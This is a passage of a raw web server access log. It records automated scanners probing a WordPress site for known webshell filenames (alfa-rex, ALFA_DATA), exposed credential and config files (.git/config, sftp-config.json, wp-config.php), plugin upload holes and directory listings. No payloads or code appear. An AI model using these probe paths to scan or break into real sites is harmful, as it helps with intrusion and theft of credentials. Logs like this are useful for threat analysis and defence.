+0300] "GET /wp-includes/blocks/post-template/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 203.159.90.209 - - [10/Feb/2026:17:02:19 +0300] "GET /wp-admin/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 203.159.90.209 - - [10/Feb/2026:17:02:19 +0300] "GET /wp-includes/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 203.159.90.227 - - [10/Feb/2026:16:48:47 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 203.159.90.227 - - [10/Feb/2026:16:48:47 +0300] "GET /wp-includes/widgets/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 64.225.55.49 - - [10/Feb/2026:16:52:34 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 203.159.90.227 - - [10/Feb/2026:16:48:47 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 203.159.90.227 - - [10/Feb/2026:16:48:47 +0300] "GET /wp-includes/blocks/post-template/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 203.159.90.227 - - [10/Feb/2026:16:48:48 +0300] "GET /wp-admin/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 64.225.55.49 - - [10/Feb/2026:17:14:18 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 43.135.186.135 - - [10/Feb/2026:17:23:14 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 103.65.237.124 - - [10/Feb/2026:16:36:47 +0300] "GET /sftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 203.159.90.227 - - [10/Feb/2026:16:48:47 +0300] "GET /wp-includes/rest-api/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 203.159.90.227 - - [10/Feb/2026:16:48:48 +0300] "GET /schallfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 203.159.90.209 - - [10/Feb/2026:17:02:20 +0300] "GET /schallfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 103.65.237.124 - - [10/Feb/2026:16:36:52 +0300] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 203.159.90.227 - - [10/Feb/2026:16:48:48 +0300] "GET /wp-includes/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 203.159.90.209 - - [10/Feb/2026:17:02:19 +0300] "GET /wp-includes/rest-api/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 203.159.90.209 - - [10/Feb/2026:17:02:20 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 20.226.73.42 - - [10/Feb/2026:17:43:11 +0300] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.226.73.42 - - [10/Feb/2026:17:43:11 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.226.73.42 - - [10/Feb/2026:17:43:20 +0300] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.226.73.42 - - [10/Feb/2026:17:43:11 +0300] "GET /wp-content/plugins/dzs-zoomsounds/savepng.php?location=1877.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 20.226.73.42 - - [10/Feb/2026:17:43:11 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 136.114.6.254 - - [10/Feb/2026:17:47:36 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)" 64.225.55.49 - - [10/Feb/2026:17:56:01 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 20.226.73.42 - - [10/Feb/2026:17:43:11 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.220.144.75 - - [10/Feb/2026:20:04:44 +0300] "GET /lock6.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:06:09 +0300] "GET /functions.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:07:14 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:09:41 +0300] "GET /news.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:09:55 +0300] "GET /post.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:09:58 +0300] "GET /geju.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:10:02 +0300] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:11:08 +0300] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:11:11 +0300] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:12:12 +0300] "GET /suu.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:05:36 +0300] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:05:40 +0300] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:05:44 +0300] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:07:55 +0300] "GET /goat1.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:07:59 +0300] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:08:13 +0300] "GET /berlin.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:11:38 +0300] "GET /6.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:11:41 +0300] "GET /staging.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:11:43 +0300] "GET /eew.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:11:46 +0300] "GET /niil.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:11:50 +0300] "GET /checkbox.php HTTP/1.1" 301 795 "-" "-" 167.94.138.174 - - [10/Feb/2026:19:19:33 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 20.220.144.75 - - [10/Feb/2026:20:09:36 +0300] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:10:45 +0300] "GET /bs2.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:07:08 +0300] "GET /m.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:07:49 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:08:56 +0300] "GET /user.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:08:59 +0300] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:09:14 +0300] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:09:18 +0300] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:12:29 +0300] "GET /auth.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:12:32 +0300] "GET /logging.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:12:36 +0300] "GET /dot.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:12:40 +0300] "GET /database.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:12:43 +0300] "GET /blue.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:05:03 +0300] "GET /class-config.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:05:16 +0300] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:06:02 +0300] "GET /db-cache.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:06:33 +0300] "GET /alfa-rex.PhP7 HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:06:39 +0300] "GET /alfa-rex.php56 HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:06:42 +0300] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:06:47 +0300] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:06:49 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:08:06 +0300] "GET /13.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:08:20 +0300] "GET /link.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:09:27 +0300] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:09:48 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:11:20 +0300] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:11:24 +0300] "GET /header.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:11:29 +0300] "GET /infophp.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:11:33 +0300] "GET /iinfo.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:12:01 +0300] "GET /sHS.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:12:07 +0300] "GET /debug.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:04:59 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:05:50 +0300] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:05:53 +0300] "GET /afnew.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:05:55 +0300] "GET /wp-config.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:05:55 +0300] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:06:23 +0300] "GET /wp-comments-post.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:06:23 +0300] "GET /alfa-rex.php8 HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:06:56 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 44.195.201.244 - - [10/Feb/2026:20:07:07 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (TestUserAgent)" 20.220.144.75 - - [10/Feb/2026:20:07:21 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:08:25 +0300] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:08:28 +0300] "GET /ws.php7 HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:08:32 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:08:35 +0300] "GET /f5.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:08:37 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:08:41 +0300] "GET /max.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:08:45 +0300] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:08:48 +0300] "GET /browse.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:08:51 +0300] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:09:04 +0300] "GET /test.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:11:15 +0300] "GET /ae.php HTTP/1.1" 301 795 "-" "-" 121.229.185.160 - - [10/Feb/2026:20:15:10 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.220.144.75 - - [10/Feb/2026:20:04:37 +0300] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:04:48 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:04:52 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:05:28 +0300] "GET /come.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:06:14 +0300] "GET /module.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:10:10 +0300] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:10:13 +0300] "GET /abe.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:10:19 +0300] "GET /infoo.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:10:22 +0300] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:10:25 +0300] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:10:28 +0300] "GET /text.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:10:31 +0300] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:10:34 +0300] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:10:37 +0300] "GET /hoot.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:10:40 +0300] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:10:51 +0300] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:10:54 +0300] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:10:57 +0300] "GET /ebs.php7 HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:12:19 +0300] "GET /wp-error_log.php HTTP/1.1" 301 795 "-" "-" 20.226.13.24 - - [10/Feb/2026:18:42:02 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 136.114.6.254 - - [10/Feb/2026:18:42:21 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 20.220.144.75 - - [10/Feb/2026:20:04:26 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:07:00 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:07:32 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:07:36 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:07:40 +0300] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:07:44 +0300] "GET /t.php7 HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:11:54 +0300] "GET /phpinfo.php HTTP/1.1" 301 795 "-" "-" 20.220.144.75 - - [10/Feb/2026:20:12:23 +0300] "GET /old_phpinfo.php HTTP/1.1" 301 795 "-" "-" 95.142.46.155 - - [10/Feb/2026:21:01:00 +0300] "GET /hello-world/ HTTP/1.0" 301 795 "http://eliteewallet.com/hello-world/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 CCleaner/130.0.0.0" 20.110.243.199 - - [10/Feb/2026:21:30:09 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:45:49 +0300] "GET /files/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:47:12 +0300] "GET /wp-content/cache/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:47:15 +0300] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:47:15 +0300] "GET /wp-content/plugins/akismet/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:48:11 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:49:30 +0300] "GET /wp-content/plugins/wordpress-seo/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:41:49 +0300] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:41:49 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:41:49 +0300] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:41:50 +0300] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:41:50 +0300] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:41:50 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:41:51 +0300] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:41:51 +0300] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:41:55 +0300] "GET /.well-knownold/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:43:55 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:44:55 +0300] "GET /modules/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:45:19 +0300] "GET /system/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:47:01 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:47:01 +0300] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:47:38 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:47:38 +0300] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:47:38 +0300] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:47:39 +0300] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:47:39 +0300] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:47:40 +0300] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:47:40 +0300] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:47:40 +0300] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:47:40 +0300] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:47:44 +0300] "GET /admin/fckeditor/editor/filemanager/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:48:20 +0300] "GET /components/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:48:40 +0300] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:42:25 +0300] "GET /www/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:43:25 +0300] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:44:04 +0300] "GET /upload/image/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:45:39 +0300] "GET /shop/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:45:58 +0300] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:46:23 +0300] "GET /Assets/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:47:53 +0300] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:50:07 +0300] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:50:55 +0300] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:41:07 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:41:10 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:41:10 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:41:11 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:41:11 +0300] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:41:11 +0300] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:41:11 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:41:11 +0300] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:41:12 +0300] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:43:04 +0300] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:45:28 +0300] "GET /template/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:46:51 +0300] "GET /php/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:42:12 +0300] "GET /id/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:42:44 +0300] "GET /uploads/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:42:54 +0300] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:42:02 +0300] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:42:03 +0300] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:42:03 +0300] "GET /index/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:42:34 +0300] "GET /web/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:43:15 +0300] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:44:15 +0300] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:44:25 +0300] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:46:11 +0300] "GET /include/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:48:50 +0300] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:49:00 +0300] "GET /wp-content/plugins/contact-form-7/admin/js/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:49:08 +0300] "GET /wp-content/plugins/contact-form-7/ HTTP/1.1" 301 795 "-" "-" 94.198.40.116 - - [10/Feb/2026:21:49:12 +0300] "GET /wordpress/ HTTP/1.1" 301 795 "-" "-" 